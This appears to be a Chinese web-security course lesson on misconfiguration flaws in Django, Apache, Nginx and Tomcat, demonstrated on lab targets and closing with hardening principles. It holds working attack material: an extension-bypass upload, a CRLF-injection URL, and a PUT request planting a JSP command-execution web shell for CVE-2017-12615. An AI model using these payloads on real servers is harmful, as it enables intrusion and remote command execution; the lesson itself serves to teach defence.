You cannot select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

225 lines
14 KiB
Markdown

2 years ago
# 28安全配置错误安全问题不只是代码安全
你好,我是王昊天。
不知道你是否看见过下面这张图片它是我们在使用Django编写后端程序时经常会看到的报错页面。在这个报错页面中我们可以看到这个Web应用的所有路径这对于Web应用来说是极其危险的。
![图片](https://static001.geekbang.org/resource/image/29/03/2944a63eaa107628f0f44b38db517c03.png?wh=1920x1082)
从页面最下方的提示信息中我们可以知道这是由于我们在Django的配置文件中没有将DEBUG改为False导致的。所以**这就是一个由于配置错误导致的Web应用安全问题**。
其实在Web应用中安全配置问题还是很普遍的这节课就让我们一起来深入学习下吧
## 安全配置错误
在Web应用中由于安全配置错误导致的安全问题屡见不鲜这里我选取了Web应用中典型的一些安全配置问题来讲解它们分别为Apache配置安全问题、Nginx配置安全问题以及Tomcat配置安全问题下面我们逐一看下。
![图片](https://static001.geekbang.org/resource/image/b9/b0/b94ffbc2248005978049649a54c961b0.jpg?wh=1738x644)
### Apache配置安全问题
Apache是世界使用排名第一的Web服务器软件。它的兼容性很好可以在Linux系统以及Windows系统中运行。Web应用开发者可以用它来运行开发的Web服务。
我们可以将它简单理解为当在一台机器上配置好Apache服务器可利用它响应HTML页面的访问请求。
Apache软件有一个配置文件它通常为httpd.conf我们在启动自己的Web应用前首先需要对它进行配置的修改。
![图片](https://static001.geekbang.org/resource/image/5f/f9/5f17fc1e53320a81f5c791312b7e25f9.png?wh=773x434)
如果我们希望Apache在遇到扩展名为PHP的页面文件时将它用x-httpd-php来解析那么我们就可以在配置文件中添加代码 `AddHandler application/x-httpd-php .php`。之后重启Apache服务配置就能生效。
![图片](https://static001.geekbang.org/resource/image/5a/ed/5a03f5d89e053d1ac2373ab68d9006ed.png?wh=931x312)
而这个配置会导致一定的安全隐患,接下来让我们借助一个示例,看看它会带来什么安全隐患吧。
在此之前我们需要学习一下Apache的基本特性。
![图片](https://static001.geekbang.org/resource/image/66/46/663689407ff9dec170d6baf07354b046.jpg?wh=1594x406)
**Apache是从前往后开始识别文件扩展名的**例如遇到文件test.php.xyz.jpg时它会将PHP识别为文件的扩展名从而根据之前的配置选择用x-httpd-php来对它进行解析。
这样,我们就做好了所有的前期准备工作。下面,我们一起来看这个安全隐患。
![图片](https://static001.geekbang.org/resource/image/7a/d5/7a6881dd2366f32af090f96b0fd8e3d5.png?wh=1920x1232)
这是一个文件上传靶场,由于我们将它的安全等级设为高,所以**它可以成功拦截所有PHP后缀的文件**这样做可以防止攻击者上传PHP恶意文件从而保护Web应用的安全。
但是我们可以将恶意PHP文件名设置为test.php.xyz.jpg这样就能绕过文件上传检测成功将这个文件上传到images文件中。
其中这个test.php.xyz.jpg的内容为
```php
<?php phpinfo();?>
```
之后我们尝试对其进行访问发现Apache服务器无法解析这一文件。所以这个Web应用目前是安全的攻击者无法通过上传文件test.php.xyz.jpg去执行恶意的PHP代码。
![图片](https://static001.geekbang.org/resource/image/9f/84/9f07860c3f70769f865f1a629d298084.png?wh=1898x1398)
如果我们在Apache的配置文件apache2.conf中加入这一项 `AddHandler application/x-httpd-php .php`。然后重启Apache2服务。
![图片](https://static001.geekbang.org/resource/image/c6/fa/c682f6d6f5442c6909afeb174f6d62fa.png?wh=1366x602)
那么我们再次访问上传的文件,获得到的响应内容就变为如下:
![图片](https://static001.geekbang.org/resource/image/e4/1f/e4bec58f746485b1fb08360c2a31251f.png?wh=1920x1203)
这里可以看到,**我们上传的恶意PHP代码已经被执行**。这个Web应用不再安全。
在这个示例中原本的Web应用是安全的它成功拦截了以.php结尾的文件的上传并且不允许用x-httpd-php来解析结尾不是.php的文件这是无懈可击的攻击者根本无法让这个Web应用去执行恶意PHP脚本。
可是如果Web应用开发者在配置文件中进行错误的配置例如这里加上AddHandler application/x-httpd-php .php就会使得Web应用可以用x-httpd-php来解析PHP类型的文件就算它的结尾不是.php。这给了攻击者可乘之机让Web应用处于危险之中。
到这里你已经学完了Apache中的安全配置问题这会让你对安全配置问题有更具体的理解。其实在Nginx中也会有安全配置问题接下来我们就一起看看。
### Nginx配置安全问题
Nginx是一个高性能的HTTP和反向代理Web服务器我们可以在Unix以及Linux中运行它。它的应用非常广泛我们熟知的百度、京东、新浪、网易以及腾讯都有使用到这款软件。
![图片](https://static001.geekbang.org/resource/image/fa/3c/fa42450c7da6b1887fe482fd346c6e3c.jpg?wh=600x433)
在使用这款软件时,我们必须正确的对它进行配置,否则容易导致一些安全问题。
例如当Nginx配置不当就会导致CRLF注入的发生。所谓CRLF其实就是两个字符CR与LF它们分别代表回车以及换行。事实上在HTTP报文中行与行之间使用的就是CRLF间隔。
接下来为了帮助你更好地理解Nginx配置的安全问题让我们一起来看一个示例吧。
下方代码是一个Nginx配置文件你可能对它不太熟悉不过不要着急我会给你分析配置中的安全问题。
```plain
server {
listen 8080;
root /usr/share/nginx/html;
index index.html;
server_name _;
location / {
return 302 https://$host$uri;
}
}
```
在这个Nginx配置文件中存在问题的配置在最后一行我们只需要关注这一部分即可。
```plain
return 302 https://$host$uri;
```
这行代码可以使得原本对主机的HTTP的请求跳转到HTTPS请求上。我们可以将其中的 `$host`简单理解为原始请求中的host信息`$uri` 则是安全问题产生的关键,它代表着请求中解码后的请求路径。你可能觉得这里并没有什么问题,**可如果攻击者将请求的URL信息设置为如下**
```plain
http://ip:port/%0a%0dSet-Cookie:%20a=test
```
这个URL中%0a经过解码之后就是CR%0d经过解码之后则为LF%20解码之后对应为空格。所以Nginx在对$uri进行解码时会将%0a%0d解码为CRLF这会使得HTTP报文换行然后发起Set-Cookie的请求**这就是CRLF注入的效果**。
下面我们一起看上述内容的实例。注意这里靶场中的Nginx配置和上面图片中一致。
![图片](https://static001.geekbang.org/resource/image/3d/7f/3d231f6ebf2968f195e395f3dc5a097f.png?wh=1918x1206)
我们首先访问了127.0.0.1:8080服务发现Nginx成功让页面跳转到HTTPS服务并且页面中也没有cookie信息。其中这里页面显示无法访问此网站这是因为靶场仅用来演示Nginx配置问题并没有实际页面支撑所以导致没有页面内容返回但它对我们的测试不会造成影响。
![图片](https://static001.geekbang.org/resource/image/77/c3/77c15b32d03e1a536ba91da01a1cc6c3.png?wh=1812x1192)
接着我们对这个Web应用发起攻击对127.0.0.1:8080/%0a%0dSet-Cookie:%20a=test进行访问结果发现页面同样跳转为HTTPS服务不过此时多出了响应Cookie信息。**这表明我们的CRLF注入成功并且成功执行了Set-Cookie指令。**
现在你已经了解了Nginx配置相关的安全问题知道了它其实就是由CRLF注入导致的。接下来让我们继续学习Tomcat中的安全配置问题吧。
### Tomcat配置安全问题
首先我们来了解下Tomcat是什么
Tomcat 服务器是一个免费的开放源代码的Web应用服务器属于轻量级应用服务器在中小型系统和并发访问用户不是很多的场合下被普遍使用。实际上Tomcat是Apache服务器的扩展但运行时它是独立运行的所以当你运行Tomcat时它实际上是作为一个与Apache独立的进程单独运行。
在对它有了一定的了解之后我们来对Tomcat做一些安全性分析。Tomcat中存在一个知名的安全配置问题它就是CVE-2017-12615。具体的问题体现为当Tomcat运行在Windows主机上并且在conf/web.xml的配置文件中将DefaultServlet readonly设置为false那么如果它启用了HTTP PUT请求方法就会**导致任意写文件的安全问题发生**。
接下来让我们通过实战加深一下对Tomcat配置安全问题的理解吧。
首先登录谜团mituan.zone并选择【Tomcat专题CVE-2017-12615】靶机如果你可以看到如下页面那就成功打开了我们的靶场。
![图片](https://static001.geekbang.org/resource/image/49/68/49a74009cf0a8162c0210990862df768.png?wh=1878x1313)
其次我们要测试一下是否可以上传文件到服务器目录下。具体的实践方式为使用BurpSuite拦截该网页获取到如下报文
```plain
GET / HTTP/1.1
Host: 45e308724beb41f1943f19e8652afb2e.app.mituan.zone:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
```
然后我们将它进行修改为如下报文,并进行发送。
```plain
PUT /1.jsp/ / HTTP/1.1
Host: 45e308724beb41f1943f19e8652afb2e.app.mituan.zone:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
<%
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b)) != -1){
out.println(new String(b));
}
out.print("</pre>");
%>
```
修改后的报文可以向Tomcat服务器尝试写入1.jsp文件。其中1.jsp文件的内容为报文下方<% %>内的部分。**这部分的功能就是获取get方式上传的参数i并将它当作命令去执行。**
接下来,我们去测试尝试的攻击行为是否成功。访问路径 `/1.jsp?i= ls -l`,其中 `1.jsp` 就是我们刚刚写入的文件,而 `?i=ls -l`这是通过get方式上传参数i并将它的值设为 `ls -l`
![图片](https://static001.geekbang.org/resource/image/eb/4a/ebe40e1e3eb2a7a904ebed1b82bf3c4a.png?wh=1463x812)
我们发现页面的响应为一些文件信息,**这代表我们的 `ls -l` 命令运行成功也代表这个Tomcat服务器存在安全配置问题。**
到这里我们已经知道安全配置错误的危害还是较为严重的所以我们在设计一个Web应用时要注意对安全配置错误的避免。接下来让我们进入到安全实践中总结一下如何避免安全配置错误。
## 安全实践
为了避免安全配置错误的发生我们在配置Web应用时需要遵守几个原则。
第一个原则为**最小服务原则**我们需要将Web应用不需要的服务进行关闭或限制防止攻击者通过这些服务发起恶意行为。
第二个原则为**通用化的报错设置**即我们需要将Web应用的报错信息设置得通用化使得报错信息中不包含错误发生的细节信息防止因此导致的敏感信息泄露。
第三个原则为**修改默认账户信息**我们需要将Web应用默认的账户信息进行修改尽量让账户密码变得复杂否则攻击者很容易就会猜出账户信息登陆进Web应用的管理后台。
## 总结
在这节课程中,我们学习了安全配置错误。
首先我们通过Django示例来了解什么是安全配置错误。接着我们更加深入的对典型的Web应用安全配置问题进行了逐一的学习。
我们第一个学习的是Apache相关的安全配置问题。在对这一部分的学习中我们通过上传一个扩展名复杂的文件绕过了Web应用对于上传文件类型的检测过滤。然后再利用Apache配置不当的问题使得这一文件被x-httpd-php解析成功。这样就使得攻击者可以实现任意PHP代码执行。
接下来我们学习了Nginx相关的安全配置问题。在对它的学习中我们了解到Nginx是一个高性能的HTTP和反向代理Web服务器。如果对于它的配置方式不当就会使得CRLF注入的发生。然后我们通过示例知道了攻击者可以通过CRLF注入进而实现对HTTP请求指令的设置。
接着我们学习了Tomcat相关的安全配置问题了解到如果对它的配置不当就会产生任意写入文件问题。在实战部分中我们还利用这个问题成功实现了任意命令执行操作。
最后我们学习了如何抵御安全配置错误了解到主要可以通过最小服务原则、通用化报错设置以及修改默认账户来提升我们Web应用的安全性。
## 思考题
除了这节课中提到的安全配置错误你还能想到其他Web应用相关的安全配置错误吗
欢迎在评论区留下你的思考。如果觉得今天的内容对你有所帮助的话,也欢迎你把课程分享给其他同事或朋友,我们共同学习进步!